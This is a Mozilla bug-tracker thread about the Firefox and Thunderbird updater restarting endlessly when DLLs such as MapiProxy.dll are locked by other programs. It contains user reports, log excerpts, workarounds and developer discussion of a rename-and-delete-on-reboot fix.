Automatic update restarts infinitely when files to be patched are in use

VERIFIED DUPLICATE of bug 466778

Status

()

defect
P2
critical
VERIFIED DUPLICATE of bug 466778
13 years ago
9 years ago

People

(Reporter: whimboo, Unassigned)

Tracking

Trunk
x86
Windows XP
Points:
---
Dependency tree / graph
Bug Flags:
blocking-thunderbird3 -
blocking1.9 -
wanted1.8.1.x +
blocking1.8.0.7 -
blocking1.8.0.8 -

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: Remaing issue in comment 251. See comment 100 and 147 before adding a new comment (Thunderbird users see bug 452162))

Attachments

(2 attachments, 1 obsolete attachment)

I got the notice that the new version is available and was downloaded. I clicked ok to start the update process. After a small time I get a messagebox which tells me that some files could not be updated. When I click Ok the updater starts again and tries to do the same thing again and again. It never stops. So I have to kill the task.

I will attach the written log file. Hopefully you will find the issue which raises this problem.
Attachment #224568 - Attachment mime type: application/octet-stream → text/plain
Scott, David, the same happens again by starting the upgrade from 1.5.0.4 to 1.5.0.5. I'm still running into an infinite loop and have to kill Thunderbird over the task manager.
Severity: normal → critical
Same happens on another computer with Windows XP and update from Thunderbird 1.5.0.4 to 1.5.0.5
Summary: Automatic update from Thunderbird 1.5 to 1.5.0.4 fails and starts updater infinitely → Automatic update for Thunderbird 1.5.0.x fails and starts updater infinitely
The problem are probably these two lines:
EXECUTE PATCH MapiProxy.dll
### execution failed

It seems another application holds a file handle to this file?
(In reply to comment #4)
> It seems another application holds a file handle to this file?

Correct. If any other application uses MAPI to send a message the mapiproxy.dll won't be released until you close that application. I tested that behavior with TotalCommander, Excel and Windows Explorer.

If any of the files we want to update is in use we should stop the update process with a meaningful error message why the patch can't be applied. The current behavior that it infinitely restarts the update process without any message should be stopped. 

Scott, is that specific for Thunderbird or should we change the product to AUS?
Flags: blocking1.8.0.7?
Flags: blocking-thunderbird2?
Summary: Automatic update for Thunderbird 1.5.0.x fails and starts updater infinitely → Automatic update restarts infinitely when files to be patched are in use
Summary: Automatic update restarts infinitely when files to be patched are in use → Automatic update restarts infinitely when files to be patched are in use (MapiProxy.dll)
This bug definitely happen only for 1.5. When applying an update for version 2 alpha 1 (20060806) it doesn't restart the update process. Instead Thunderbird is started again. What I miss is a description why the upgrade can't be finished.
It works in 2.0? 

Darin, Rob:
have there been explicit changes in the Update process that handles dll's in-use? If so, would those changes be safe and worth putting on the 1.8.0 branch?

The software update code is shared, but Mapi is a special case and Firefox isn't likely to have a similar shared-dll problem.

Comment 8

13 years ago
(In reply to comment #7)
> It works in 2.0? 
> 
> The software update code is shared, but Mapi is a special case and Firefox
> isn't likely to have a similar shared-dll problem.

Wouldn't firefox have this same problem with AccessibleMarshall.dll?  
>
mscott, I checked AccessibleMarshall.dll and I have yet to run into it being in use.

dveditz, there have been no changes to software update that I know of to handle files in use.
maybe screen readers use that dll?
In 1.5 but not the same person's 2.0?
We only register one install of AccessibleMarshal.dll though we may have multiple installs of it on a single system. I believe it is possible that this might happen with AccessibleMarshal.dll since the install being updated may be the one registered and used for another installation of the same or different app. See bug 338878.

Comment 13

13 years ago
AccessibleMarshal.dll is a COM dll used by accessibility, which allows us to expose the cross process interfaces ISimpleDOMNode, ISimpleDOMDocument, ISimpleDOMText.
Don't seem to be a lot of good choices here. If we get a patch please nominate it. At the infinite restart point we could give up and tell the user they have to reboot, but that's probably all we can do if some other window service is holding on to the mapi dll
Flags: blocking1.8.0.7? → blocking1.8.0.7-
(In reply to comment #7)
> It works in 2.0? 

Not at all. But the update process isn't started again and again after the update couldn't be processed. If the mapi.dll is in use by updating some kind of 2.0 Thunderbird is started and tells that the update can't be processed. With that behavior we don't run into a infinitely loop.

Removing flag due to it's only happen on the 1.5 branch.
Flags: blocking-thunderbird2?
(In reply to comment #15)
> Not at all. But the update process isn't started again and again after the
> update couldn't be processed. If the mapi.dll is in use by updating some kind
> of 2.0 Thunderbird is started and tells that the update can't be processed.
> With that behavior we don't run into a infinitely loop.

I have to revert this comment. After 9 days of inactivity due to vacation AUS prompted me at work to update my tb2.0a1 version. It downloads the whole installer and starts the updater again and again. The issue is still present in current nightly builds. Sorry.
Flags: blocking-thunderbird2?
*** Bug 344134 has been marked as a duplicate of this bug. ***
I filed bug 344134 (which I duped to this one) some time ago when software update happens and you have Talkback Agent activated. In that case, you get to see this bug.
Status: NEW → ASSIGNED
The problem is that we can't close any running application. This has to be done by the user himself. How are the updates applied? Will all files be patched sequentially? Can we revert our changes to already patched files when detecting that one or more files are in use? Or should we cycle through all files first and check if they are not in use?

Into which product/component we have to move this bug?

Comment 20

13 years ago
Just experienced this on the update to 1.5.0.7 / WinXP.  The update notification occurred last night, but I declined to apply the update at that time.  I shutdown the system and then brought it back up this morning.  When the application restarted, I got the same message regarding files in use / update failed, etc.  When clicking "OK" (the only option...ugh) the update process started again, failed again, etc. ad infinitum.  Guess the only way to fix it is to download the installer again.

<rant>While I like the concept of software update notification and convenient software updates, we need options to disable automatic update notification and installation, respectively, because there are times and situations when I need to get work done -- not dink around with application update failures.  There are also architectures (like linux) on which applications should not update themselves outside of the watchful eye of the OS's own package management system -- to do otherwise destroys traceability at the system level.  Forced automatic updates are a bad idea, and this bug is a textbook example of why.</rant>
(In reply to comment #20)
> software updates, we need options to disable automatic update notification and
> installation, respectively, because there are times and situations when I need
> to get work done -- not dink around with application update failures.  There

This is already implemented. Take a look at 'options | advanced | update'. You can turn off automatic downloading and installation.
Moving to Firefox > Software Update to have a better component.
Component: General → Software Update
Flags: blocking-thunderbird2?
Product: Thunderbird → Firefox
Version: 1.5 → 1.0 Branch
Version: 1.0 Branch → Trunk
Assignee: mscott → nobody
Status: ASSIGNED → NEW
QA Contact: general → software.update
(In reply to comment #14)
> it. At the infinite restart point we could give up and tell the user they have
> to reboot, but that's probably all we can do if some other window service is
> holding on to the mapi dll

By upgrading other applications I got a list of processes whose are using the needed file. Unless I don't close them the update doesn't start. Could that be an option for us? Dunno if it's simple to fetch the list of running processes whose are holding a handle to a specific file.
*** Bug 353052 has been marked as a duplicate of this bug. ***

Comment 25

13 years ago
(In reply to comment #21)
> This is already implemented. Take a look at 'options | advanced | update'. You
> can turn off automatic downloading and installation.

You're referring to Firefox, which indeed provides the options as specified.  My comment (and this bug for that matter) was originally targeted at Thunderbird.  
I stand by my previous comment.
(In reply to comment #25)
> You're referring to Firefox, which indeed provides the options as specified. 
> My comment (and this bug for that matter) was originally targeted at
> Thunderbird. I stand by my previous comment.

Same for me. Also after changing the product and component it is the same for Firefox and Thunderbird. Both of them let you specify when the update should be started (automatically or by the user). 

Comment 27

13 years ago
The issue is not which program it affects, it obviously affects Thunderbrid and maybe Firefox, there is a way to disable automatic updates but it seems that noboby has addressed the actual issues i.e. that the update process is failing. In my case I had to completely remove Thunderbird because it would not start again, download the new version and start again - that is major stress for most users and a large impact on my time!!

Please, let's not split hairs and focus on the bug, in the meantime I suggest you issue an advisory to all users not to update from one version to another until this bug is resolved and if they want to update, then un-install the old version and put the new version back on.
(In reply to comment #27)
> maybe Firefox, there is a way to disable automatic updates but it seems that
> noboby has addressed the actual issues i.e. that the update process is failing.

Sure, that is what I had written in my initial comment. 

> In my case I had to completely remove Thunderbird because it would not start
> again, download the new version and start again - that is major stress for most
> users and a large impact on my time!!

Huh, that shouldn't also work. Especially not for Thunderbird when a handle to MapiProxy.dll is hold by another application. Even during uninstall it is not possible to remove this file. So any new installation will fail when it tries to overwrite MapiProxy.dll. You have to close the other application first or restart/re-login. Otherwise files will resist inside the program folder which could not be deleted.

> Please, let's not split hairs and focus on the bug, in the meantime I suggest
> you issue an advisory to all users not to update from one version to another
> until this bug is resolved and if they want to update, then un-install the old
> version and put the new version back on.

This bug does not involve all users. An Update runs fine after you started your pc or don't use e.g. MAPI (Thunderbird). Closing all other applications (except Explorer) should solve it for now.

Adding some people who can (hopefully) point us to the right direction.

Comment 29

13 years ago
Well, I did indeed follow the prescribed troubleshooting steps i.e. 

1. restart pc, still can't start thunderbird
2. un-install thunderbird restart pc
3. download complete new install package and install

it worked fine after that. Whatever was stopping the inital update was not there after I un-installed thunderbird and not just because I restarted my pc. Perhaps the above steps will serve as a temporary solution for those users who run into this problem?

As for what could have been causing the initial problem I am not sure, I was not running anything else other than Thunderbird (I checked my Task Manager) so if one follows through the theory that it was MapiProxy.dll causing the problem then the only program I had open using that dll was thunderbird itself.

Perhaps downloading the new package and making sure thunderbird is closed down BEFORE applying the new patch/program is the only sure and safe way to update at this moment in time?
(In reply to comment #29)
> it worked fine after that. Whatever was stopping the inital update was not
> there after I un-installed thunderbird and not just because I restarted my pc.
> Perhaps the above steps will serve as a temporary solution for those users who
> run into this problem?

Could you run the update again and look inside the last-update.log which files can't be updated? Search for "### execution failed". Take a look at my attachment 224568 [details] for example. Hopefully we could get a complete list of files which causes this issue.

> 
> As for what could have been causing the initial problem I am not sure, I was
> not running anything else other than Thunderbird (I checked my Task Manager) so
> if one follows through the theory that it was MapiProxy.dll causing the problem
> then the only program I had open using that dll was thunderbird itself.
> 
> Perhaps downloading the new package and making sure thunderbird is closed down
> BEFORE applying the new patch/program is the only sure and safe way to update
> at this moment in time?
> 

Comment 31

13 years ago
*** Bug 353355 has been marked as a duplicate of this bug. ***

Comment 32

13 years ago
This what I found in the install log but I think it refers to the install of the complete package I did after I un-installed the previous version:

PREPARE PATCH AccessibleMarshal.dll
CRC check failed
LoadSourceFile failed
failed: 4
calling QuitProgressUI

Hope that helps.
Additional information from Ben Lerner on bug 353355 by updating Thunderbird:

Not sure if this is relevant -- when I restarted Windows and looked in my
profile directory, I still had a profile.lock file there; after the first
restart of TB, that file was deleted, and so the second update could get in and
succeed.  I think that's just an artifact of TB not being closed properly.
Flags: blocking1.8.0.8?
no fix in site, unrealistic for 1.8.0.8 (we're pretty much only taking already-fixed bugs)
Flags: blocking1.8.0.8? → blocking1.8.0.8-
Same problem for me ...
update from Thunderbird 2.0b1pre (last week) to Thunderbird 2.0b1pre 2006100304
--> again and again restarting update
--> obligation to kill process (windows XP SP2)

--> trying to install a fresh install from ftp --> same problem

I've seen in the install directory a MapiProxy.dll.moz-backup
I've try to rename it to MapiProxy.dll --> Unauthorized acces ...

After reading this bug, i realize that yesterday i've sent a document from Total Commander with right-click --> Sent to --> Mail recipent ...

So, i've closed Total Commander, and start Thunderbird
--> i got the error immediatly (maybe a log warning from the last attempt) but the update begin an after 10' TB start without problems ...

Could this problem here also be related to Firefox Updates (see Comment#8)..like Bug 364593 as example ?
Duplicate of this bug: 364593
Duplicate of this bug: 364485
Due to the fact that's not only mapiproxy.dll the summary should be clearer.
Summary: Automatic update restarts infinitely when files to be patched are in use (MapiProxy.dll) → Automatic update restarts infinitely when files to be patched are in use (e.g. MapiProxy.dll)
Duplicate of this bug: 333951
It seems this is a Problem with the following files (according to some log files):
mozMapi32.dll
AccessibleMarshal.dll
MapiProxy.dll

Comment 42

12 years ago
I'm having the same problem with the update to Firefox 2.0.0.2 using the automatic updating facility it seems to just get into a loop.

Should I uninstall Firefox and start again?

Comment 43

12 years ago
I'm having the same problem updating to *Thunderbird 1.5.0.10* from the previous version (1.5.0.9).

Yes, I know this bug is for Firefox, but I think this a regression of some common core component.

I have restarted Windows XP but the problem still persisted: An infinite loop of updater.exe.

I'm sorry I haven't saved the exact message but the process was the following:
1. The normal updater window with the progress bar running.
2. At some point it showed a message saying that it wasn't possible to continue.
3. And then it restarted to the first point.

Comment 44

12 years ago
Sorry, the only way I got to manage this problem was to install a fresh version of TB in a different directory.
Duplicate of this bug: 372699
Duplicate of this bug: 374329

Comment 47

12 years ago
this is still a problem..... update from 2.0.0.1 to 2.0.0.2 fails, and loops. it attempts a partial install, fails, downloads the full 7MB update, and fails again. I get a popup that an update is available, but update fails on windows Xpro.
Duplicate of this bug: 374782
Duplicate of this bug: 372472

Comment 50

12 years ago
I started to have this bug when I moved all my thunedrbird boxes to another drive - ie th eprograms runs from my C: drive buta ctually all my data files are stored on the F: drive. And since I am in this configuration I do have this problems- may be nothing to do with it. but i thought it might help... good luck.
Duplicate of this bug: 374170
Duplicate of this bug: 378037
Duplicate of this bug: 378062
Summary: Automatic update restarts infinitely when files to be patched are in use (e.g. MapiProxy.dll) → Automatic update restarts infinitely when files to be patched are in use (AccessibleMarshal.dll, MapiProxy.dll, mozMapi32.dll)
Duplicate of this bug: 378211
Note from Bug 378211 this error was also with Applications like Logitch QuickCam Software & Thunderbird.

For user experience this problem a workaround is closing the QuickCam
software. 
Duplicate of this bug: 380425
Depends on: 380452
Duplicate of this bug: 373095
Duplicate of this bug: 336358
Duplicate of this bug: 372421
Duplicate of this bug: 382598
Duplicate of this bug: 382697

Comment 63

12 years ago
Bug 371660 which is a Windows Vista Bug may be related to this Windows XP bug.
Duplicate of this bug: 382915

Updated

12 years ago
Duplicate of this bug: 382915

Comment 66

12 years ago
In the specific case I reported (see Bug 382915) with Thunderbird2.0.0, file that won't write appears to be tied up by the Logitech or Skype quicklaunch.   Installer runs successfully after quitting quick launch programs.

Thanks.

Updated

12 years ago
Duplicate of this bug: 382672

Comment 68

12 years ago
I tried to install Thunderbird 2 and had the same problems.  However if you have any Logitec products installed, exit them before installing Thunderbird 2. This also applies to Skype, exit that as well.  Thunderbird 2 then will install OK.

Comment 69

12 years ago
I can confirm #68 - exit Skype and the Logitech-thing in the taskbar (mine's a webcam) and the update completes correctly.
Duplicate of this bug: 336444
Duplicate of this bug: 384593

Updated

12 years ago
Duplicate of this bug: 384573
Duplicate of this bug: 384669
Requesting blocking ff3, though I think this is really an even bigger issue for thunderbird:(
Flags: blocking-firefox3?

Comment 75

12 years ago
I do not know about others. My problem was I had to kill QuickCam10. This is the driver/app for a webcam. It seems that it loads the file, locking it.

Comment 76

12 years ago
I have attempted a complete uninstall/reinstall with the latest version of Thunderbird (2.0.0.4).  When starting Thunderbird for the first time the following message appears:

"Thunderbird is already running, but is not responding.  To open a new window, you must first close the existing Thunderbird process, or restart your system"

A quick glance at the task manager showed that thunderbird.exe was not in fact running, and a restart did not help, nor did several uninstall/reinstall attempts.  I have tried to reinstall Thunderbird both in the default \Program Files\Mozilla Thunderbird folder and elsewhere.
Edmund, that's a separate issue, or fallout from fixing this up. See the "Remove the profile lock file" part of 
    http://kb.mozillazine.org/Profile_in_use
 

Comment 78

12 years ago
I tried this and the other suggestions on the page you mentioned, but there was no profile lock to remove.  I eventually got it to work by removing my original profile altogether and copying over one backed up to an external disk a few weeks ago.  Just a warning to inexperienced users like myself that a simple uninstall/reinstall of Thunderbird (suggested as a fix in an earlier comment) may not do the trick.  I can only conclude that the update process failure somewhow corrupted my profile in a way I wasn't able to detect.

Comment 79

12 years ago
(In reply to comment #78)
> I tried this and the other suggestions on the page you mentioned, but there was
> no profile lock to remove.  I eventually got it to work by removing my original
> profile altogether and copying over one backed up to an external disk a few
> weeks ago.  Just a warning to inexperienced users like myself that a simple
> uninstall/reinstall of Thunderbird (suggested as a fix in an earlier comment)
> may not do the trick.  I can only conclude that the update process failure
> somewhow corrupted my profile in a way I wasn't able to detect.
> 

Comment 80

12 years ago
 from my original bug report: Stop it by using Task Mgr., "Processes": stop "Thunderbird.exe". Search for "nmozMapi32.dll" results in zero, not on computer. However, "mozmapi32.dll" exists at C:\Program Files\Mozilla Thunderbird. Rename "mozmapi32.dll" to "nmozMapi32.dll". Go to Mozilla T'bird web site and download the 2.0.0.4 version and install. Or, open T'bird 2.0.0.0 and the auto update will work.

Comment 81

12 years ago
Yes, that worked - Thunderbird automatically prompted me to install update 2.0.0.4 again (although the installed version claimed to already be 2.0.0.4??)  and I ran through your advice before clicking OK.  I couldn't find your original report (I was in any case redirected here from another bug).

Comment 82

12 years ago
(In reply to comment #75)
> I do not know about others. My problem was I had to kill QuickCam10. This is
> the driver/app for a webcam. It seems that it loads the file, locking it.
> 
Me also. although this happened in the update for Firefox. Had to disable my Quick Cam process. This seems to happen only with Logitech cameras.

Comment 83

12 years ago
(In reply to comment #81)
> Yes, that worked - Thunderbird automatically prompted me to install update
> 2.0.0.4 again (although the installed version claimed to already be 2.0.0.4??) 
> and I ran through your advice before clicking OK.  I couldn't find your
> original report (I was in any case redirected here from another bug).
> 
My original report was marked as a duplicate of #340535 and resolved i guess, can't find it myself
after reading bsmederg's patch in #366846, I wonder if we can address this bug just replacing our "copy then remove" pattern in updater.cpp and doing file rename and call rename() [or _rename() on windows] instead?

that assumes that we can rename files that are in use, and I think we can.

but as bsmedberg points out in bug #366846, that can leave the renamed backup files around, so we'll have to make sure our updater can gracefully handle that error scenario (where we can't delete the backup file, because it is in use)

And, on subsequent updates, not be effected by having existing backup files lying around that we can't remove.

perhaps for windows, we could use "MoveFileEx(backupfile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);" to register to delete those backup files on the next restart of windows, see
http://support.microsoft.com/default.aspx?scid=kb;en-us;140570
That won't unload the dll so the app can end up in an unusable state if the dll changed significantly

Comment 86

12 years ago
Which app? The accessibility app could, but I don't see much way to protect against that unless you included a versioning check as part of the initial COM handshake (which sounds really hard).
Any app... when dll's are in use during an app install or upgrade the replace usually occurs during the next OS restart and the user is asked to restart the OS to complete the installation or upgrade. I don't believe this will be all that easy as well.

Comment 88

12 years ago
It doesn't have to be that way, as my patch in the other bug shows: Windows allows you to rename files that are in use: you can move AccessibleMarshal.dll so AccessibleMarshal.dll.saved and write the updated one in its place safely and restart Firefox. This causes two problems:

1) We can't remove AccessibleMarshal.dll.saved immediately (minor issue)
2) The accessibility app that's currently using AccessibleMarshal.dll could continue to use it until it is restarted. Not sure of the severity of this issue.
(In reply to comment #88)
> It doesn't have to be that way, as my patch in the other bug shows: Windows
> allows you to rename files that are in use: you can move AccessibleMarshal.dll
> so AccessibleMarshal.dll.saved and write the updated one in its place safely
> and restart Firefox. This causes two problems:
With the caveat as stated in comment #85 and this also affects MapiProxy.dll and mozMapi32.dll. By doing it during OS restart we get a solution used by all other apps I know of which should be close to if not a 100% success rate whereas doing it without restarting may cause stability problems until the dll is unloaded.
Further we could have a process window which shows the running applications which block our files and the user has to quit before we are applying our update. I filed bug 380452 for that possible solution some time ago. This way is already used by a lot of other applications.
Flags: blocking-firefox3? → blocking-firefox3+
Duplicate of this bug: 385847

Comment 92

12 years ago
every day I get a message that an update it available to my email account. So I click RESEARTH EMAIL NOW. But its always the same udpate over and over  THURNDERBIRD 1.5.0.12
 

ANy ideas why it keeps doing this?  wayne@fyim.com

Comment 93

12 years ago
I suspect my report is related to the same bug, although it shows up (consistently, on several different XP-Pro boxes) under circumstances different from the above.
Windows XP Pro, multiuser environment. Firefox, observed with various recent versions updates (most recent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4)
If the update initiated by a user who doesn't have administrative privileges, then, upon startup, it pops up a window with the error: "One or more files could not be updated. Close, ... and try again..". (After you dismiss this window, it starts and runs ok, until the next time you start Firefox.) Even if you run this update as an administrator after this, and it starts ok, this error message never goes away for the non-administrator user who did this update first.
(If I open Firefox as a different non-administrator user, - the first time it shows the page "You've updated... ".)
The only remedy is to uninstall and install Firefox again.

Additional data point: if I start Firefox while logged in as an administrator, but start as a non-administrator user, this messages does not show up, but
if I switch to the non-administrator user, it shows up every time.

Before I saw this thread, I thought that it is the absence of Administrative privileges that doesn't allow some portion of update to happen properly, and therefore, Firefox should do a check whether the user logged in has administrator privileges, and if not, - only inform about the update being ready, advising to log in as an administrator to install the update.
Igor, your problem is covered by bug 383518 which is already fixed on trunk (Firefox 3). On branch 1.8 it will be hopefully fixed with Firefox 2.0.0.6. But to resolve your problem go into your local settings folder and delete the folder Mozilla. It contains the downloaded partial update which triggers the installation process each time you start Firefox with this user. If you have questions please don't on that bug. Thanks.

Updated

12 years ago
Duplicate of this bug: 388145
Assignee: nobody → sspitzer
Target Milestone: --- → Firefox 3 M9
Duplicate of this bug: 388968

Comment 97

12 years ago
Upgrading Thunderbird to 2.0.0.5 results in the same problem
Firefox with the same version seems to upgrade fine though!

Comment 98

12 years ago
I'd like to confirm that I also had the same problem upgrading Thunderbird to 2.0.0.5.  The upgrade fails and starts a continuous loop.  Closing Logitech camera software version 10 allowed the upgrade to complete.  Uninstalling Thunderbird did not help. 

Comment 99

12 years ago
(In reply to comment #98)
> I'd like to confirm that I also had the same problem upgrading Thunderbird to
> 2.0.0.5.  The upgrade fails and starts a continuous loop.  Closing Logitech
> camera software version 10 allowed the upgrade to complete.  Uninstalling
> Thunderbird did not help. 

This happened on two different PC's, one running Windows 2000 and one running Windows XP.  Both PC's have the current MS patches. 

We are aware of this bug. It will also happen for the next security releases of Firefox and Thunderbird 2.0.0.x. Until there is no patch available it won't be even fixed on trunk. So please don't add any more comments of confirmation to this bug. Thanks.
Whiteboard: See comment 100 before adding a new comment
Duplicate of this bug: 384660
No longer blocks: 388921
Duplicate of this bug: 390471
Duplicate of this bug: 391675
This bug is still present in Thunderbird 2.0.0.6 and I had to kill the logitech's quickcam10 to be able to update or else end in an infinite loop. I think atleast there is a fix for the shared dll problem the infinite loop should be disabled. Also just a suggestion. If you can rename the dll in use then can you not use the already submitted patch to rename the dll, write the new dll and make a registry entry so that the .saved file is removed on next system restart. The application that is currently using it will get to the updated version on its next restart and I dont see a problem with this as the application is not expecting the new dll's functionality anyway??
(In reply to comment #105)
I suspect this caveat wouldn't happen very often if at all but if the dll hooks into the app it came with differently then there would be problems. Also see comment #89
Duplicate of this bug: 392138
Duplicate of this bug: 392590
Duplicate of this bug: 392590
bsmedberg, rstrong and I met and here's our plan to solve this:

1)  fix our "copy-the-remove" pattern to use rename()
2)  for any files that are in use, use MoveFileEx() to register them for delete on reboot.
3)  if any files were in use, updater will launch helper.exe (which is localized) with a special command line arg, which prompt the user to reboot their os.  if updater does this, we will not restart firefox.

note, if files are not in use, we will not need to call MoveFileEx() and we will not need to launch helper.exe and prompt for reboot.  this is the common case.  we will still get a performance win as rename is faster than our current copy-then-remove pattern.
Status: NEW → ASSIGNED
Duplicate of this bug: 392839
Seth just an fyi, I am pretty certain that the rename will not work on our chrome jar files if they are in use. If you want to handle those as well you could make a copy of it, apply the update to the copy, and use MoveFileEx to replace the jar file that is in use. There may be files other than jar files that this applies to but in my testing so far only jar files appear to be affected.
A couple of thoughts regarding how I am considering accomplishing this with the installer that may be relevant for the updater.

Though the logic would be a tad hairy I'm going to try to leave the existing installation entirely intact and upgrade all files on reboot whether the files are in use or not when I run into a file in use error. This would allow use of the app by anyone and avoid the definite possibility that one of the files that the installer was able to upgrade makes the app unusable or unstable.

I think the process would be something like the CheckInUse function in installer.nsi except for all files. Essentially it would:
1) for each file to be installed it would back it up into a new directory where it would be located in the same relative sub dir.

2) as each file is backed up it would try to delete the original file.

3) if all files can be deleted it would delete the backup directory and continue the installation normally. End

4) if a file can't be deleted roll back all the files that were backed up except for the file that couldn't be deleted.

5) Delete the backup directory.

6) For each file to be installed:

6a) Append the new file with something like ".upgrade". This should probably be verified as not existing first, etc.

6b) Copy the file to its destination.

6c) Use the NSIS Rename /REBOOTOK (e.g. MoveFileEx with the MOVEFILE_DELAY_UNTIL_REBOOT and MOVEFILE_REPLACE_EXISTING flags) with the existing file as the destination.

New files might be a problem... for example new components could be problematic. There are also the files that are removed via the removed-files file (e.g. the entire searchengines directory) which could be problematic but I should be able to come up with a solution.
Target Milestone: Firefox 3 M9 → Firefox 3 M10
Seth, why wouldn't the rename work if the files are in use? I can't think of any ordinary/expected reason a rename would fail if the from/to locations are on the same volume (i.e. it can do an atomic rename instead of a copy/delete)
Benjamin, I saw this when working on the NSIS counterpart for this bug and NSIS was unable to rename or delete jar files that were in use by the application. I also noticed that Windows Explorer was also unable to rename or deleted jar files that were in use by the application.
Regarding the localized display of a messagebox using NSIS. I'm considering creating a new NSIS binary for this purpose. Then we could change the name of the main application exe and rename it on restart to the correct name. This would allow us to prevent running the application until a restart is performed and notify the user that they must restart when they try to launch the app. The only difficulty is that we would need to provide all of the app's icons (e.g. the main icons and the document icons in this exe) so the proper icons are displayed for shortcuts, html documents, etc.

Comment 117

12 years ago
Update error happens when Internet connection is crashed. It breaks the update process, then goes to an infinite updating loop. It tries to update everytime when I open Firefox, even when it is properly updated.

Update did from 2.0.0.6 to 2.0.0.7
Still trying to update from 2.0.0.7 to 2.0.0.7 (this is error)

My OS: Windows XP SP2
Duplicate of this bug: 394632

Comment 119

12 years ago
i get same trouble.

I try to update from a non admin account then it failed and give me an error message, then i updagre (2.0.0.6 -> 2.0.0.7) from a admin account on same computer. I still have a warning telling me that the update process has failed.

use xp2 too
Duplicate of this bug: 391306

Updated

12 years ago
Duplicate of this bug: 397024

Updated

12 years ago
Duplicate of this bug: 398283

Updated

12 years ago
Duplicate of this bug: 398906
Duplicate of this bug: 400510

Updated

12 years ago
Duplicate of this bug: 401193

Comment 126

12 years ago
Hi folks

In my case the update ceased working properly after I installed a third-party software for my GPS receiver. This software has a resident process which is named wcescomm
If I kill this wcescomm process then the update works perfectly

DLL called by this wcescomm do not include the previoulsy cited ones thus my post

Hereunder the DLL list by DLL Show software. I hope it helps.

WCESCOMM.EXE Module Dependency List

ADVAPI32.DLL	0x00000001	65535	65535	413696	Apr 21, 2005	5.00.2195.7038	Microsoft Corporation	Advanced Windows 32 Base API	c:\winnt\system32\
CEUTIL.DLL	0x00000001	65535	65535	24576	Jan 19, 2005	3.8.0.5004	Microsoft Corporation	Bibliothèque d'utilitaire de registre	c:\winnt\system32\
COMCTL32.DLL	0x00000001	65535	65535	540672	Aug 28, 2006	5.81	Microsoft Corporation	Common Controls Library	c:\winnt\system32\
COMDLG32.DLL	0x00000001	65535	65535	253952	Jun 19, 2003	5.00.3700.6693	Microsoft Corporation	Common Dialogs DLL	c:\winnt\system32\
GDI32.DLL	0x00000001	65535	65535	245760	Jun 26, 2007	5.00.2195.7138	Microsoft Corporation	GDI Client DLL	c:\winnt\system32\
KERNEL32.DLL	0x00000001	65535	65535	737280	Apr 16, 2007	5.00.2195.7135	Microsoft Corporation	Windows NT BASE API Client DLL	c:\winnt\system32\
LZ32.DLL	0x00000001	65535	65535	24576	Jun 19, 2003	5.00.2195.6611	Microsoft Corporation	LZ Expand/Compress API DLL	c:\winnt\system32\
MSAFD.DLL	0x00000001	2	2	122880	Jun 19, 2003	5.00.2195.6602	Microsoft Corporation	Microsoft Windows Sockets 2.0 Service Provider	c:\winnt\system32\
MSVCRT.DLL	0x00000001	65535	65535	282624	Jun 19, 2003	6.10.9844.0	Microsoft Corporation	Microsoft (R) C Runtime Library	c:\winnt\system32\
NTDLL.DLL	0x00000001	65535	65535	507904	Aug 16, 2005	5.00.2195.7006	Microsoft Corporation	NT Layer DLL	c:\winnt\system32\
OLE32.DLL	0x00000001	65535	65535	978944	Sep 5, 2005	5.00.2195.7059	Microsoft Corporation	Microsoft OLE for Windows	c:\winnt\system32\
RAPI.DLL	0x00000001	65535	65535	77824	Jan 4, 2005	3.8.0.5004	Microsoft Corporation	Mobile Device Remote API	c:\winnt\system32\
RPCRT4.DLL	0x00000001	65535	65535	454656	Jul 17, 2007	5.00.2195.7090	Microsoft Corporation	Remote Procedure Call Runtime	c:\winnt\system32\
SECUR32.DLL	0x00000001	65535	65535	61440	Jun 19, 2003	5.00.2195.6695	Microsoft Corporation	Security Support Provider Interface	c:\winnt\system32\
SERWVDRV.DLL	0x00000001	2	2	28672	May 8, 2001	5.00.2134.1	Microsoft Corporation	Unimodem Serial Wave driver	c:\winnt\system32\
SHELL32.DLL	0x00000001	65535	65535	2383872	Jul 13, 2006	5.00.3900.7105	Microsoft Corporation	Windows Shell Common Dll	c:\winnt\system32\
SHLWAPI.DLL	0x00000001	65535	65535	417792	Aug 17, 2007	6.00.2800.1914 (xpsp2.070817-1242)	Microsoft Corporation	Shell Light-weight Utility Library	c:\winnt\system32\
TCP2UDP.DLL	0x00000001	65535	65535	28672	Jan 4, 2005	3.8.0.5004	Microsoft Corporation	TCP to UDP Bridge	c:\program files\microsoft activesync\
UMDMXFRM.DLL	0x00000001	1	1	28672	May 8, 2001	5.00.2134.1	Microsoft Corporation	Unimodem Tranform Module	c:\winnt\system32\
USER32.DLL	0x00000001	65535	65535	389120	Mar 6, 2007	5.00.2195.7133	Microsoft Corporation	Windows 2000 USER API Client DLL	c:\winnt\system32\
VERSION.DLL	0x00000001	65535	65535	28672	Jun 19, 2003	5.00.2195.6623	Microsoft Corporation	Version Checking and File Installation Libraries	c:\winnt\system32\
WCESCOMM.EXE	0x00000001	65535	65535	409600	Jan 19, 2005	3.8.0.5004	Microsoft Corporation	ActiveSync Connection Manager	c:\program files\microsoft activesync\
WINMM.DLL	0x00000001	65535	65535	196608	May 8, 2001	5.00.2161.1	Microsoft Corporation	MCI API DLL	c:\winnt\system32\
WS2_32.DLL	0x00000001	65535	65535	81920	Jun 19, 2003	5.00.2195.6601	Microsoft Corporation	Windows Socket 2.0 32-Bit DLL	c:\winnt\system32\
WS2HELP.DLL	0x00000001	65535	65535	32768	May 8, 2001	5.00.2134.1	Microsoft Corporation	Windows Socket 2.0 Helper for Windows NT	c:\winnt\system32\
WSHTCPIP.DLL	0x00000001	1	1	28672	Jun 19, 2003	5.00.2195.6601	Microsoft Corporation	Windows Sockets Helper DLL	c:\winnt\system32\
WSOCK32.DLL	0x00000001	65535	65535	32768	Jun 19, 2003	5.00.2195.6603	Microsoft Corporation	Windows Socket 32-Bit DLL	c:\winnt\system32\

Sincerely

Guillaume
Target Milestone: Firefox 3 M10 → Firefox 3 M11
Priority: -- → P3

Comment 127

12 years ago
from France (sorry for my bad english)

